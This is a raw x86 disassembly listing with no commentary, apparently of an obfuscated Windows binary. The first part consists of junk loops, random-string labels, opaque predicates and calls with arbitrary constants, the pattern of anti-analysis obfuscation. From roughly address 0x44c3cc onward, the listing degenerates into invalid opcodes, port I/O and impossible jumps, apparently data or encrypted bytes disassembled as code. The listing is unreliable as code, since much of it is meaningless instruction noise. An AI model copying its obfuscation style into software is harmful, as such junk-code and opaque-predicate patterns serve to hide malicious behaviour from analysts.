mov dword [ebp - 0x44c], str.uhtlc_rswns_rjnfs_tucmshjf_swqbaqpq_dbu_yuzeyj_xkpwnsd_epe_yuvjmuvw_xtjynaq_ifzbmndfr_uozukhwl_egxolfi
cmp dword [ebp - 0x270], 0x1ffc
jle 0x44b710
mov dword [ebp - 0xdc], 0
jmp 0x44b647
mov eax, dword [ebp - 0xdc]
add eax, 1
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1705
jge 0x44b710
mov dword [ebp - 0xe4], 0
jmp 0x44b672
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
cmp dword [ebp - 0xe4], 0x6d6c
jge 0x44b70b
mov dword [ebp - 0xec], 0
jmp 0x44b69d
mov edx, dword [ebp - 0xec]
add edx, 1
mov dword [ebp - 0xec], edx
cmp dword [ebp - 0xec], 0x77a7
jge 0x44b706
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe4]
sar eax, cl
mov ecx, dword [ebp - 0xec]
sar eax, cl
cdq
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], edx
mov eax, dword [ebp - 0x528]
push eax
mov ecx, dword [ebp - 0x52c]
push ecx
lea edx, [ebp - 0x7e0]
push edx
call fcn.00409670
add esp, 0xc
mov ecx, eax
call fcn.004078f0
push eax
call fcn.004bef16
add esp, 4
lea ecx, [ebp - 0x7e0]
call fcn.00407870
jmp 0x44b68e
jmp 0x44b663
jmp 0x44b638
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x270], 0x1b5c
jge 0x44b732
mov eax, dword [ebp - 0x44c]
push eax
call fcn.004bef16
add esp, 4
jmp 0x44b74e
mov dword [ebp - 4], 0xffffffff
jmp 0x44b75e
mov dword [ebp - 0x3c], 0
jmp 0x44b770
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], 1
jge 0x44b786
mov edx, dword [ebp - 0x3c]
mov dword [ebp + edx*4 - 0x2c8], 6
jmp 0x44b767
mov dword [ebp - 0x3c], 0
jmp 0x44b798
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x44b7ae
mov ecx, dword [ebp - 0x3c]
mov dword [ebp + ecx*4 - 0x750], 0x1f06e85f
jmp 0x44b78f
cmp dword [ebp - 0x2c], 0
jne 0x44b863
mov edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x2c]
neg edx
cmp edx, dword [ebp - 0x2c]
jne 0x44b7d2
mov dword [ebp - 0x278], 1
jmp 0x44b7dc
mov dword [ebp - 0x278], 0
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x278]
mov dword [ebp + ecx - 0x2c8], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x694], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x57c5f0f1
cmp ecx, dword [ebp - 0x2c]
jl 0x44b814
mov dword [ebp - 0x280], 1
jmp 0x44b81e
mov dword [ebp - 0x280], 0
mov edx, dword [ebp - 0x2c]
cmp dword [ebp - 0x280], edx
jg 0x44b835
mov dword [ebp - 0x290], 1
jmp 0x44b83f
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x288], 0xfffffffa
mov eax, dword [ebp - 0x288]
sub eax, dword [ebp - 0x290]
jne 0x44b863
mov dword [ebp - 0x298], 0
jmp 0x44b86d
mov dword [ebp - 0x298], 1
imul ecx, dword [ebp - 0x298], 0x445a
add ecx, 1
cmp ecx, dword [ebp - 0x2c]
jge 0x44b88b
mov dword [ebp - 0x2a0], 1
jmp 0x44b895
mov dword [ebp - 0x2a0], 0
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x2a0]
jg 0x44b8ac
mov dword [ebp - 0x2a8], 1
jmp 0x44b8b6
mov dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2a8], eax
jl 0x44b8cd
mov dword [ebp - 0x2b0], 1
jmp 0x44b8d7
mov dword [ebp - 0x2b0], 0
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2b8], ecx
cmp dword [ebp - 0x2b8], 0
jne 0x44b901
mov edx, 1
test edx, edx
jne 0x44b901
mov dword [ebp - 0x2c0], 0
jmp 0x44b90b
mov dword [ebp - 0x2c0], 1
mov eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0x2c0]
lea edx, [ecx + eax + 9]
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x750], edx
mov dword [ebp - 0x2d0], 0x12e2
mov dword [ebp - 0x464], str.dkwgfise_cwqbz_mjgym
cmp dword [ebp - 0x2d0], 0x15a2
jle 0x44b9f4
mov dword [ebp - 0xf4], 0
jmp 0x44b969
mov edx, dword [ebp - 0xf4]
add edx, 1
mov dword [ebp - 0xf4], edx
cmp dword [ebp - 0xf4], 0x708a
jge 0x44b9f4
mov dword [ebp - 0xfc], 0
jmp 0x44b990
mov eax, dword [ebp - 0xfc]
add eax, 1
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x5869
jge 0x44b9ef
mov eax, dword [ebp - 0xf4]
and eax, dword [ebp - 0xfc]
cdq
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], edx
mov ecx, dword [ebp - 0x534]
push ecx
mov edx, dword [ebp - 0x538]
push edx
lea eax, [ebp - 0x804]
push eax
call fcn.00409670
add esp, 0xc
mov ecx, eax
call fcn.004078f0
push eax
call fcn.004bef16
add esp, 4
lea ecx, [ebp - 0x804]
call fcn.00407870
jmp 0x44b981
jmp 0x44b95a
mov ecx, 4
imul edx, ecx, 0
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + edx - 0x2c8]
mov dword [ebp + ecx - 0x750], edx
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x45c], 0xc2c
cmp dword [ebp - 0x45c], 0x16ff
jle 0x44bb23
invalid
cmp dword [ebp - 0x2d0], 0x1007
jge 0x44bb3e
mov eax, dword [ebp - 0x464]
push eax
call fcn.004bef16
add esp, 4
jmp 0x44bb5a
mov dword [ebp - 4], 0xffffffff
jmp 0x44bb6a
mov dword [ebp - 0x6c], 1
jmp 0x44bb7c
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x6c]
cmp edx, dword [0xb9ce6c]
jg 0x44bbe7
push 0x1c08
lea eax, [ebp - 0x6c]
push eax
push 1
push 0
push 0
push 0x56cc
push 0x1efa
call fcn.00447ca0
add esp, 0x1c
mov byte [ebp - 0x2d], 1
lea ecx, [ebp - 0x6c]
push ecx
push 0
lea edx, [ebp - 0x2d]
push edx
push 0x467c
call fcn.0044f5b0
add esp, 0x10
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x2d]
push ecx
lea edx, [ebp - 0x5b4]
push edx
push 1
push 1
push 1
push 0x67d9
call fcn.00447230
add esp, 0x1c
jmp 0x44bb73
push 1
push 0x188
push 1
lea eax, [ebp - 0x5b4]
push eax
push 0x14ee
call fcn.00443f70
add esp, 0x14
push 1
lea ecx, [ebp - 0x5b4]
push ecx
push 1
push 1
push 0x30f1
push 0x52f0
push 0x759a
call fcn.00447360
add esp, 0x1c
lea ecx, [ebp - 0x5b4]
call fcn.004281a0
push 0x179f
push 1
push 0xb82
push 1
push 0x7afd
call fcn.004474e0
add esp, 0x14
cmp dword [ebp - 0x46c], 0xd46
jge 0x44c5fa
call fcn.004bf33c
mov edx, 0x20
imul ecx, edx, 0
add eax, ecx
push eax
push 0xa88724
push 0xa887c8
call fcn.004bf5a0
add esp, 0xc
call fcn.004bf33c
mov edx, 0x20
shl edx, 0
add eax, edx
push eax
push 0xa887d0
push 0xa887d4
call fcn.004bf5a0
add esp, 0xc
mov dword [ebp - 0x474], 0x1a7c
cmp dword [ebp - 0x474], 0xe52
jge 0x44bd68
push 1
push 0x289f
push 1
lea eax, [ebp - 0x2d8]
push eax
push 0x7a24
call fcn.00447610
add esp, 0x14
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x104], 1
jmp 0x44bcfe
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x104]
cmp edx, dword [ebp - 0x2d8]
jg 0x44bd54
push 0x5693
push 1
lea eax, [ebp - 0x104]
push eax
push 0
lea ecx, [ebp - 0x2e0]
push ecx
push 0x512d
lea edx, [ebp - 0x2d8]
push edx
push 0x2da5
push 0x15f2
push 0x3fb2
push 0x3961
push 0x44bf
push 1
call fcn.0044e5d0
add esp, 0x34
jmp 0x44bcef
mov eax, dword [ebp - 0x2e0]
push eax
push 0xa887dc
call fcn.004bef16
add esp, 8
push 0x78d9
push 0x2862
push 0x47b9
push 0x6167
push 1
lea ecx, [ebp - 0x49c]
push ecx
push 0x79bd
push 1
push 0xaaa
call fcn.00444800
add esp, 0x24
mov dword [ebp - 0x47c], 0x1d07
cmp dword [ebp - 0x47c], 0x1244
jge 0x44bf07
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push 0x13b3
push 0x3fd1
push 1
push 0x16fe
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
push 1
push 1
push 0x1900
call fcn.004478c0
add esp, 0x24
mov dword [ebp - 0x88], 0
cmp dword [ebp - 0x20], 0
jg 0x44be1f
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x20]
jle 0x44be1f
mov edx, dword [ebp - 0x20]
neg edx
add edx, 1
cmp dword [ebp - 0x24], edx
jg 0x44be1f
imul eax, dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x88], eax
jmp 0x44bee0
cmp dword [ebp - 0x24], 0
jle 0x44be4f
mov ecx, dword [ebp - 0x24]
neg ecx
add ecx, 1
cmp dword [ebp - 0x20], ecx
jle 0x44be4f
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x24]
jg 0x44be4f
mov eax, dword [ebp - 0x24]
lea ecx, [eax*4 - 3]
mov dword [ebp - 0x88], ecx
jmp 0x44bee0
cmp dword [ebp - 0x20], 0
jle 0x44be9b
mov edx, dword [ebp - 0x20]
neg edx
cmp dword [ebp - 0x24], edx
jl 0x44be9b
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x20]
jge 0x44be9b
lea ecx, [ebp - 0x20]
push ecx
push 1
push 0x1660
push 1
push 0x3ff
lea edx, [ebp - 0x88]
push edx
push 0x7434
push 0x7da4
push 0x6c0d
push 1
call fcn.00447b00
add esp, 0x28
jmp 0x44bee0
cmp dword [ebp - 0x24], 0
jge 0x44bee0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jl 0x44bee0
mov ecx, dword [ebp - 0x24]
neg ecx
cmp dword [ebp - 0x20], ecx
jge 0x44bee0
push 0x7bea
push 0x216b
push 1
lea edx, [ebp - 0x24]
push edx
push 0x1959
push 0x7075
push 0
push 1
lea eax, [ebp - 0x88]
push eax
call fcn.004478c0
add esp, 0x24
push 0
push 0x584d
push 0x6d28
push 0x599c
push 0x50b5
push 0
lea ecx, [ebp - 0x88]
push ecx
call fcn.0044f360
add esp, 0x1c
lea ecx, [ebp - 0x740]
call fcn.00427e40
mov dword [ebp - 0x484], 0x1adf
cmp dword [ebp - 0x484], 0xa27
jge 0x44c121
mov dword [ebp - 0x1c0], 0x5a5f
mov dword [ebp - 0x48c], str.tmuir_mdbz_lrssqrba
cmp dword [ebp - 0x1c0], 0x5baa
jle 0x44bff6
mov dword [ebp - 0x10c], 0
jmp 0x44bf6b
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
cmp dword [ebp - 0x10c], 0x18d
jge 0x44bff6
mov dword [ebp - 0x114], 0
jmp 0x44bf92
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x2db3
jge 0x44bff1
mov eax, dword [ebp - 0x10c]
xor eax, dword [ebp - 0x114]
cdq
mov dword [ebp - 0x544], eax
mov dword [ebp - 0x540], edx
mov ecx, dword [ebp - 0x540]
push ecx
mov edx, dword [ebp - 0x544]
push edx
lea eax, [ebp - 0x81c]
push eax
call fcn.00409670
add esp, 0xc
mov ecx, eax
call fcn.004078f0
push eax
call fcn.004bef16
add esp, 4
lea ecx, [ebp - 0x81c]
call fcn.00407870
jmp 0x44bf83
jmp 0x44bf5c
mov dword [ebp - 0x3d4], 0
xor ecx, ecx
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x1c0], 0x598c
jge 0x44c036
mov edx, dword [ebp - 0x48c]
push edx
call fcn.004bef16
add esp, 4
jmp 0x44c052
mov dword [ebp - 4], 0xffffffff
jmp 0x44c062
lea eax, [ebp - 0x494]
push eax
push 0xa8881c
call fcn.004bf202
add esp, 8
mov dword [ebp - 0x18c], 0
jmp 0x44c091
mov ecx, dword [ebp - 0x18c]
add ecx, 1
mov dword [ebp - 0x18c], ecx
mov edx, dword [ebp - 0x18c]
cmp edx, dword [ebp - 0x494]
jge 0x44c0e0
push 0x5d6d
push 1
lea eax, [ebp - 0x2f0]
push eax
push 0
push 0x22b6
push 0x471a
call fcn.00445f20
add esp, 0x18
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ebp + ecx*4 - 0x3d4]
add edx, 1
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x3d4], edx
jmp 0x44c082
lea ecx, [ebp - 0x3c4]
push ecx
lea edx, [ebp - 0x3d4]
push edx
call fcn.0045b260
add esp, 8
mov eax, 4
shl eax, 0
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + eax - 0x3d4]
add edx, dword [ebp + ecx - 0x3d4]
push edx
push 0xa88820
call fcn.004bef16
add esp, 8
lea eax, [ebp - 0x740]
push eax
push 0xa9b740
call fcn.0045b220
add esp, 8
mov dword [ebp - 0x194], 0
jmp 0x44c150
mov edx, dword [ebp - 0x194]
cmp edx, dword [ebp - 0x49c]
jge 0x44c5ef
push 0x5a
push 0
push 0xb9d770
call fcn.0049c0b0
add esp, 0xc
push 0x5a
push 0
push 0xb9d260
call fcn.0049c0b0
add esp, 0xc
push 0x5a
push 0
push 0xb9d710
call fcn.0049c0b0
add esp, 0xc
mov dword [ebp - 0x4a4], 0x23ba
cmp dword [ebp - 0x4a4], 0x475
jge 0x44c4d1
mov dword [ebp - 0x2f8], 0x4fc4
mov dword [ebp - 0x4ac], str.lhl_wtlnb_ecizqmo_cgvigpl_oosjys_ksbdd_vhmdqi_rtthj_zlcgecbf
cmp dword [ebp - 0x2f8], 0x51da
jle 0x44c247
mov dword [ebp - 0x154], 0
jmp 0x44c1ea
mov eax, dword [ebp - 0x154]
add eax, 1
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x6f83
jge 0x44c247
mov dword [ebp - 0x11c], 0
jmp 0x44c211
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
cmp dword [ebp - 0x11c], 0x69de
jge 0x44c245
push 0x36ec
push 0x21d
push 1
push 1
push 1
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x154]
push eax
call fcn.00447ca0
add esp, 0x1c
jmp 0x44c202
jmp 0x44c1db
mov dword [ebp - 4], 0x16
push 0x5e0d
push 0x4f43
push 0
push 1
lea ecx, [ebp - 0x4ac]
push ecx
push 0x6fe3
lea edx, [ebp - 0x2f8]
push edx
call fcn.0044ccc0
add esp, 0x1c
jmp 0x44c2a9
mov dword [ebp - 4], 0xffffffff
jmp 0x44c2b9
push 0x2d5
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x164]
push ecx
push 0
lea edx, [ebp - 0x4bc]
push edx
push 0
call fcn.00446a70
add esp, 0x18
mov eax, dword [ebp - 0x164]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.00428070
mov dword [ebp - 0x15c], 0
jmp 0x44c30c
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
cmp edx, dword [ebp - 0x164]
jge 0x44c33b
push 0xed0
push 1
lea eax, [ebp - 0x3ec]
push eax
push 1
lea ecx, [ebp - 0x15c]
push ecx
call fcn.004451d0
add esp, 0x14
jmp 0x44c2fd
mov edx, dword [ebp - 0x90]
and edx, 0x8000003f
jns 0x44c34e
dec edx
or edx, 0xffffffc0
inc edx
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x4b4], eax
mov ecx, dword [ebp - 0x90]
sub ecx, 1
mov dword [ebp - 0x90], ecx
cmp dword [ebp - 0x4b4], 0
je 0x44c3cc
push 0x657c
push 0
lea edx, [ebp - 0x3ec]
push edx
call fcn.0044e4b0
add esp, 0xc
push 1
lea eax, [ebp - 0x3ec]
push eax
push 0x1e8c
push 0x65ca
push 0x613b
push 0x653f
lea ecx, [ebp - 0x4bc]
push ecx
push 0x7086
lea edx, [ebp - 0x164]
push edx
push 1
push 1
call fcn.00447ff0
add esp, 0x2c
jmp 0x44c354
push 0x48f4
push 0x3b14
push 0x2cc
push 1
push 0x3eba
push 0x64d4
push 0x1417
push 1
push 0x61e6
push 0x601e
push 0x2588
lea edi, [esi - 0x5c7cf5eb]
mov bl, 0xfc
mov word [esi], ds
pop ds
out 0x4c, al
dec ecx
jae 0x44c471
mov esi, edi
mov esi, edi
dec eax
cmovnp ebx, dword [ebx + 0x4c]
add esi, dword [ebp + 0x3d1dea43]
inc edx
ja 0x44c40c
jp 0x44c431
inc ecx
out 0xc0, al
pop eax
dec esp
std
mov edi, cs
inc dword [esi + 0x770d7acb]
lea ebp, [edx]
cmp ecx, dword [edx]
cmp esp, dword [edi - 0x3077b94d]
jmp [ebp]
cmp byte [edi + edi], ch
stc
cld
xor eax, dword [eax]
xchg edx, eax
clc
invalid
aaa
pushal
sub byte ss:[edi + 0x30], dh
add byte [ecx + eax*8 - 0x43], ch
mov byte [eax + 0x7c], dh
adc al, byte [ecx - 0x22]
rcr byte [eax + 0x4c], 0xfc
mov edi, cs
invalid
dec ecx
pop edi
fcomi st(5)
mov ecx, 0x20729f80
leave
in al, dx
pushal
daa
fisubr word [edx]
cmp ecx, dword [ecx - 0x3ba55401]
jl 0x44c637
add byte [edx + 0x64778144], ch
mov esp, edx
les ecx, [edx]
cmp esp, dword [eax - 0xa]
dec eax
dec esi
enter 0xffffffffffffc543, 6
cmp byte [esp + 0x7ac22a89], bh
aad 0x74
jns 0x44c69e
add byte ss:[edx + 0x6477423e], dl
sbb al, 0xd4
dec ecx
xchg dword [ebx + 0x64034c5d], eax
std
lcall 0x8dcf, 0xd7a3e93
sub bh, byte [ebx]
push 0x3b809a82
or ebx, esi
add al, 0x92
mov ebp, 0x12769b88
inc ecx
rcr byte es:[eax + 0x4c], 1
jae 0x44c687
add byte [edx + 0x64717144], ch
mov edi, edx
les ecx, [edx]
cmp esp, dword [eax + 0x36]
cmp byte [ebp + 0x30], dh
add byte [edi + 0x5c77423e], dl
xor eax, dword [ecx]
les ecx, [edx]
cmp esp, dword [edi - 0x65f80aa8]
sub ebp, esi
add edi, dword [ecx + eax - 0x46a95d32]
fidivr word [eax]
fisub dword [ebx + 0x381bc977]
jmp 0x64baebd1
cmp cl, ch
inc esp
and eax, 0xeb896476
add byte [esi + 0x71524ccf], 1
ja 0x44c69d
xchg edx, eax
in al, dx
add eax, 0x2c87a2ce
ret 0x59f8
mov byte [0xf8c22c87], al
xchg dword [edx + eax*8], ebp
clc
pop ecx
dec esp
jg 0x44c6ee
invalid
imul edi, dword [edi], 0xb3a7c4f5
cld
mov word [edx + esi*4 - 0x27], es
clc
xor byte [eax], dh
mov dword [edx], ebp
mov edx, 0x722fc06
pop es
jae 0x44c737
invalid
mov ebp, 0xd5b4f088
dec edi
xchg byte [esi], bh
aas
dec ebp
add esi, dword [ebx + 0x46]
jb 0x44c77a
inc edx
ja 0x44c74e
jb 0x44c704
les ecx, [edx]
cli
inc ebp
mov bl, 0x77
or dl, bl
ja 0x44c73e
fisub dword [edi - 0x6d]
xchg ebx, eax
inc edx
xchg dword [ebx + esi*8], esi
popal
aas
cmc
les ebx, [esi + 0x3073c036]
add byte [ecx], bl
int 0x7a
or eax, 0x3b2a8d37
sub bh, byte [ebx]
or edi, dword [ebx]
cmpsd dword [esi], dword es:[edi]
mov bl, 0x17
xchg byte [eax], cl
jp 0x44c71a
cmp al, byte [edx + 0x77]
wait
jbe 0x44c734
les esi, [ebx - 0x34c58c1]
cld
out 0x1e, eax
jmp esi
jb 0x44c7a7
add byte [ebx], dl
int 0x7a
or eax, 0x3b2a8d3f
or edi, dword [ebx]
cmpsd dword [esi], dword es:[edi]
mov bl, 0x17
xchg byte [eax], cl
jp 0x44c789
aas
lea ebp, [edx]
cmp ecx, dword [ebx]
cmp esp, dword [edi + 0x88617b3]
jp 0x44c752
cmp al, byte [edx + 0x77]
wait
jbe 0x44c764
les eax, [ecx + 0x34803b6]
jae 0x44c7dd
jb 0x44c7f2
inc edx
ja 0x44c7be
jb 0x44c774
les ecx, [edx]
cli
inc ebp
mov bl, 0x77
or dl, bl
xchg ebx, eax
inc edx
mov bl, 0x1e
inc edx
sub bh, byte [ebx]
cmc
inc esi
stosd dword es:[edi], eax
je 0x44c82e
adc byte [eax + eax], dh
xchg edx, eax
sar byte [ebp - 0x20626478], 3
fild word [ebx]
invalid
mov dword [ebx + 0x33becdc8], ebp
dec eax
add esi, dword [ebx - 0x32]
jmp [ebp - 0x3f]
cmpsd dword [esi], dword es:[edi]
mov bl, 0xfc
mov word [edx + edi*4 - 0x27], es
clc
cmp byte [eax], bl
mov dword [edx], ebp
mov ebx, 0x3f22fc06
pop es
jae 0x44c837
invalid
aas
dec ebp
add esi, dword [ebx - 0x40]
push eax
call 0x64bc0e7a
adc eax, 0x22fc06b6
adc eax, 0x22fc06b6
aaa
pop es
jae 0x44c867
invalid
pop edx
xchg edi, eax
aad 0x4f
sahf
aas
dec ebp
add esi, dword [ebx - 0xa]
push 0xffffffffffffffe9
cmp al, byte [edx + 0x77]
out dx, eax
inc edx
ja 0x44c84c
jp 0x44c871
inc ecx
jbe 0x44c822
pop eax
dec esp
std
mov edi, cs
inc dword [esi - 0x18f28535]
lea ebp, [edx]
cmp ecx, dword [edx]
cmp esp, dword [edi - 0x4cf6884d]
add al, 0x92
pushal
popfd
add cl, bl
jge 0x44c88f
cmp esp, dword [edi - 0x3092c24d]
jl 0x44c85a
int3
mov al, 6
cld
and al, bh
pop es
jae 0x44c8c7
invalid
pop ss
popfd
mov byte [0x72227743], al
aad 0xc4
or dl, byte [eax + 0x76]
mov bl, 0x77
or dl, bl
xchg ebx, eax
inc edx
add dword [esi], ebx
push ds
and bh, byte [ebx]
cmc
push ecx
cmpsd dword [esi], dword es:[edi]
jno 0x44c91a
xor eax, 0x73299200
jmp 0x44c952
and eax, 0x5c896476
inc ecx
push 0xffffffffffffffcc
pop eax
dec esp
ja 0x44c927
sti
add byte [edx - 0x50facbc2], dl
mov dword [edx], ebp
cmp ecx, dword [ebx + 0x34c9386]
jae 0x44c933
dec esp
add esi, dword [ebx - 4]
invalid
int 0xb3
jno 0x44c957
ja 0x44c95d
add eax, 0xd5553e92
clc
xchg edx, eax
push ebp
aad 0xf8
mov byte [edx], ch
dec edi
lahf
push edi
pop esp
dec esp
add esi, dword [edi + 0x66183df]
cmp ah, ch
pushal
mov dword [edx], ebp
lds ecx, [edx]
cmp esp, dword [edi + 0x4a4bf658]
wait
xchg esi, eax
inc edx
mov byte [ebx + 0x4f4fd576], bl
invalid
dec edi
invalid
wait
or eax, ecx
dec edi
lahf
jnp 0x44ccab
dec esp
add ebx, esi
cmpsd dword [esi], dword es:[edi]
psubusb mm5, qword [eax - 0x43]
pushal
xchg dword [eax], edx
sub dword [ebx], edi
mov edi, edi
scasd eax, dword es:[edi]
pop eax
out 0xe6, al
iretd
ja 0x44cd11
call dword [eax + 0x17768164]
cmp dh, byte [ecx - 0x1c]
xor byte [eax], al
xchg edx, eax
dec edx
sub al, dh
mov dword fs:[edx], ebp
dec ebp
cmp ecx, ecx
mov al, 0xa5
cmp bh, ch
pop es
and byte [ebx], 0xec
clc
in al, 0x31
xchg esi, eax
out dx, al
cmpsb byte [esi], byte es:[edi]
int 0xcd
jle 0x44cd96
mov dl, 0xfc
mov edi, cs
adc al, 0x6a
push es
clc
pop esp
wait
jbe 0x44cd04
les eax, [ecx - 0x1c7c892]
mov ebp, 0x3e769b88
int 0x81
outsb dx, byte [esi]
inc ebx
xor byte [esi], bh
lea eax, [esi - 0x56]
mov dword [eax - 0x40], eax
insb byte es:[edi], dx
mov ah, 0x4a
aad 0xc4
ja 0x44cd82
add byte [esi + esi*8], ch
sub al, 0xf6
pop eax
pop es
and byte [ebx - 0x1a], 0xc1
xchg esi, eax
mov dword [eax], edx
cmp esi, dword [ecx]
pop ss
mov al, 0xf2
mov al, 0xf2
daa
fisttp word [esi - 0x7a1789aa]
inc edx
ja 0x44ce01
push esi
jbe 0x44cd81
test dword [edx + 0x77], eax
inc dword fs:[eax - 0x74]
inc dword [eax - 0x74]
cmc
les ebx, [eax + 0x38]
jns 0x44cd6a
xor byte [eax], al
xchg edx, eax
xchg ecx, eax
add eax, 0x3b2a89df
pop ebx
adc byte [edi + 6], 0x55
mov word [edi], fs
mov esi, 0x63423f31
sub byte [edi + 0x3b0ac44f], bl
sub ah, dh
call 0xe6b867ce
test byte [ebp + 0x2a1a1e01], cl
cmp esi, ebp
mov al, 0xea
xchg dword [ebp - 0x3f], esi
dec ebx
je 0x44ce11
dec ebp
mov dl, 0x3e
cdq
adc eax, 0xeab026b0
mov al, 0xea
aaa
jne 0x44cde7
mov bl, 0
xchg edx, eax
sbb eax, 0x3b2a89e7
add byte [edx - 0x18e2c9c2], dl
mov dword [edx], ebp
cmp eax, dword [ebx + 0x34cd3ae]
jae 0x44ce3b
sub bh, byte [ebx]
sub dword [esi + 0x73034cd3], 0x44
jp 0x44ce12
inc edx
ja 0x44cd91
rcr ch, 0x41
ret
dec edi
scasd eax, dword es:[edi]
frndint
jae 0x44cde1
sbb ecx, dword [esi + 0x3b]
mov ebp, 0x40fdd463
test al, 0xf5
les ebx, [eax + 0x3a]
imul ebp, eax, 0x4a920030
pop eax
cmp ch, byte [ecx - 0x18]
xor byte [eax], al
xchg edx, eax
dec edx
cmp ah, ch
mov dword fs:[edx], ebp
dec ebp
invalid
sti
mov dword [bp], edx
push es
mov al, 0x6f
pop ebx
pop eax
fnstenv [ebx]
add byte [0x9c437929], bh
jbe 0x44cea5
add byte [esi], cl
mov dh, 0x2a
wait
add esi, dword [ebx + 0x30]
pop ss
jge 0x44cdee
inc ecx
ja 0x44ce6d
cmp esp, dword [ecx]
mov al, byte [0xb3a73683]
cld
mov word [eax + 0x584a36a1], ss
aad 0x58
nop
mov eax, dword [0xd5584a36]
pop eax
mov edx, 0xf7c60819
imul edi, dword [edi + 0x30], 0x40
add esi, dword [ebx]
mov eax, dword [0xce44710d]
std
cmp dword [esi + 0x327753f5], ebp
mov cl, 0x8c
stosd dword es:[edi], eax
pop esi
insd dword es:[edi], dx
sar dword [ebp + 0x5c12cb88], 0xe1
or bh, byte [ebx]
cmpsd dword [esi], dword es:[edi]
mov bl, 0xad
mov dr2, edi
xchg edi, eax
ljmp 0x4f72
and dword [ebp - 0x4a17a01], 0xffffff88
wait
cmc
adc eax, eax
jecxz 0x44cf29
movsd dword es:[edi], dword [esi]
mov bl, 0xfc
pop es
xor bl, 0xe4
mov word [ebp + 5], gs
into
pop sp
xchg ecx, eax
salc
mov al, 0xe2
outsd dx, dword [esi]
cmp al, bh
jp 0x44ce6d
into
cmp dword [ecx + ebx*4 + 0x4f03d576], eax
dec edi
jecxz 0x44ce66
mov bh, 0xfc
mov word [esi - 0x7e], cs
mov ch, 0xe4
stosb byte es:[edi], al
mov byte [ebx + 0xa3e5b79], bl
cmp esp, dword [edi - 0x33116d0a]
add eax, 0x97d881d2
pop esp
mov esi, dword [eax]
inc ebp
add dword [ecx - 1], ecx
push esi
adc byte [eax], dl
or dl, al
wait
mov ah, 0xd7
rcr dword [ebx], 0xcc
cwde
xlatb
invalid
test al, 0xcf
mov bl, byte [ebx + 0x64502f90]
in al, dx
movsb byte es:[edi], byte [esi]
adc eax, 0xab150942
mov eax, 0x1c56fe99
push ecx
aad 0x23
loop 0x44cf5f
sub eax, 0xeb0ff7c6
sbb dword [edi + eax*8 - 3], edi
das
cmp esp, eax
adc eax, 0x4957ecb6
cmc
wait
pop esi
and al, 0x60
jl 0x44cf9f
sub edx, dword [esp + eax + 0x2e]
dec edx
mov bh, 0xe2
cmp ch, bl
test eax, 0x10d62510
adc dword [ebx - 0x46e45c72], ecx
call 0x829f6b3e
sub byte [eax + eax*2], bh
invalid
xor ebx, dword [edx + 5]
lahf
pop ds
loop 0x44cff3
adc bl, byte [ebx]
int3
in al, 0x6b
int 0xc3
lahf
fist dword [ebp - 0x3bf249ed]
push esi
test dword [edx + 3], eax
and eax, 0x830f356e
sub esi, dword [esp + edx*2]
mov ecx, 0xfcf9b769
add dword [ebp - 0x423aef46], eax
out 0x6d, al
mov dl, al
xor al, byte [esi]
push ss
stosb byte es:[edi], al
mov ebx, 0x98d3502f
adc bl, byte [eax]
mov bh, 0x36
jne 0x44cf8b
push edx
add byte [eax + 0xf3e59cd], ah
push ds
pop edx
mov al, 0x90
sub ecx, dword [edx]
cld
loop 0x44d037
push ss
